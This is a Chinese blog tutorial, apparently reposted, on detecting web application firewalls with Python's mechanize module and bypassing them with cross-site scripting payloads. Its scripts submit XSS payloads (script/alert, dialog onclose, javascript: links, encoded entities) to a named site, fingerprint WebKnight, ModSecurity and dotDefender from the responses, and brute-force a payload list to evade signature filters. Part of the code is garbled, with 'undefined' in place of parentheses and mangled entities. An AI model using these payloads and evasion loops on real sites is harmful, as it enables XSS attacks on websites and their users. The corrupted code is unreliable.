天天看點

使用Python檢測并繞過Web應用程式防火牆

版權聲明:轉載請注明出處:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396273

參考文章:

click here Web應用程式防火牆用來過濾惡意流量。

基于簽名的防火牆

在基于簽名的防火牆中,定義了簽名,因為網絡攻擊也遵循類似的模式或簽名。是以我們可以定義比對模式并阻止它們。

Payload :- <svg><script>alert`1`<p>
           

上面定義的有效載荷是一種跨站點腳本攻擊,這些攻擊都可以包含以下子串 - >“<script>”,我們可以定義如下定義的2-3個簽名:

1、<script>
2、alert(*)
           

第一個簽名将阻止包含<script>子串的任何請求。

第二個将阻止警報(任何文本)。那麼這就是基于簽名的防火牆的工作原理。

怎麼知道有防火牆?

開始攻擊以前,先測試是否有防火牆。

這段消息告訴我們,防火牆阻礙了我們的攻擊。
HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the
requested resource could not be found on this server. This error was generated by <strong>Mod_Security</strong>.
           

下面,嘗試用python腳本檢測防火牆,并且繞過它。

1、定義HTML文檔和PHP腳本

定義我們的HTML文檔來注入有效載荷和相應的PHP腳本來處理資料。

我們下面定義了這兩個。

将使用以下HTML文檔:

<html>
<body>
<form name="waf" action="waf.php" method="post">
Data: <input type="text" name="data"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
           

waf.php:

<html>
<body>
Data from the form : <?php echo $_POST["data"]; ?><br>
</body>
</html>
           

2、準備惡意請求

檢測防火牆存在的第二步是建立一個可以被防火牆阻止的惡意跨站腳本請求。 我們将使用一個名為“Mechanize”的python子產品,了解更多關于此子產品的資訊

import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)
           

3、準備有效載荷

在HTML文檔中,我們使用以下代碼指定了一個輸入字段:

input type =“text”name =“data”> <br>
           

您可以看到該字段的名稱是“data”,我們可以使用以下代碼來定義此字段的輸入:

crossSiteScriptingPayLoad = "<svg><script>alert&grave;1&grave;<p>"
maliciousRequest.form['data'] = crossSiteScriptingPayLoad
           

第一行将我們的有效載荷儲存在一個變量中

第二行,我們已将我們的有效内容配置設定給表單字段“data”。 我們現在可以安全地送出此表格并檢查答複。

4、送出表單并記錄回複

maliciousRequest.submit()
response =  maliciousRequest.response().read()
print response
           

送出表單

将響應儲存在變量中

列印響應

沒有安裝防火牆得到如下響應:

5、檢測防火牆的存在

名為“response”的變量包含從伺服器獲得的響應,我們可以使用響應來檢測防火牆的存在。 我們将嘗試在本教程中檢測到以下防火牆的存在。WebKnight

mod_security

Dot Defender

python代碼:

if response.find('WebKnight') >= 0:
       print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
      print "Firewall detected: Dot Defender"
else:
      print "No Firewall Present"
           

如果安裝了Web Knight防火牆,并且我們的請求被阻止,響應字元串将在其中包含“WebKnight”,那麼find函數将傳回大于0的值,這意味着WebKnight防火牆存在。 同樣,我們也可以檢查其他2個防火牆。 我們可以擴充這個小應用程式來檢測多少個防火牆,但您必須知道響應行為。

使用強力來繞過防火牆過濾器

開頭提到,大多數防火牆基于簽名阻止請求。 但可以使用數千種方式建構有效載荷。 Java腳本複雜,我們可以列出有效負載,并嘗試其中的每一個,記錄每個響應并檢查是否能夠繞過防火牆。 請注意,如果防火牆規則被明确定義,這種方法可能無法正常工作。 讓我們看看我們如何使用python來硬肛:

listofPayloads = ['&lt;dialog open="" onclose="alertundefined1)"&gt;&lt;form method="dialog"&gt;&lt;button&gt;Close me!&lt;/button&gt;&lt;/form&gt;&lt;/dialog&gt;','&lt;svg&gt;&lt;script&gt;prompt&amp;#40 1&amp;#41&lt;i&gt;','&lt;a href="&amp;#1;javascript:alertundefined1)"&gt;CLICK ME&lt;a&gt;'
]
for payLoads in listofPayloads:    
maliciousRequest = mec.Browserundefined)
formName = 'waf'    
maliciousRequest.openundefined(http://check.cyberpersons.com/crossSiteCheck.html)")
maliciousRequest.select_formundefinedformName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submitundefined)
response = maliciousRequest.responseundefined).readundefined)
if response.findundefined 'WebKnight' ) &gt; = 0:        
print "Firewall detected: WebKnight"    
elif 
response.findundefined 'Mod_Security') &gt; = 0:        
print "Firewall detected: Mod Security"
elif
response.findundefined 'Mod_Security' ) &gt; = 0 :        
print "Firewall detected: Mod Security"
elif
response.findundefined 'dotDefender' ) &gt; = 0 :        
print "Firewall detected: Dot Defender"    
else:       
print "No Firewall Present"
           

在第一行,我們定義了3個有效載荷的清單,您可以擴充此清單,并根據需要添加多個有效載荷

然後在for循環中,我們做了與上面所做的相同的過程,但這次是清單中的每個有效載荷

在收到響應後,我們再次比較看看防火牆是否存在。

沒有防火牆的輸出:

将HTML标簽轉換為Unicode或Hex實體

如果例如防火牆正在過濾html标簽,如<,>。 我們可以發送相應的Unicode或Hex實體,看看它們是否被轉換為原始格式,如果是這樣,那麼這也可能是一個入口點。 以下代碼可用于檢查此過程:

listofPayloads = ['&lt;b&gt;','\u003cb\u003e','\x3cb\x3e']
for payLoads in listofPayloads:
     maliciousRequest = mec.Browser()
     formName = 'waf'
   maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
     maliciousRequest.select_form(formName)
     maliciousRequest.form['data'] = payLoads
     maliciousRequest.submit()
     response = maliciousRequest.response().read()
     print "---------------------------------------------------"
     print response
     print "---------------------------------------------------"
           

每次我們将發送編碼的條目,并在響應中我們将檢查是否轉換或列印回沒有轉換,當我運作這個代碼我得到這個輸出

表示沒有編碼的條目被轉換為其原始格式

上面代碼好零碎,完整代碼打包下載下傳: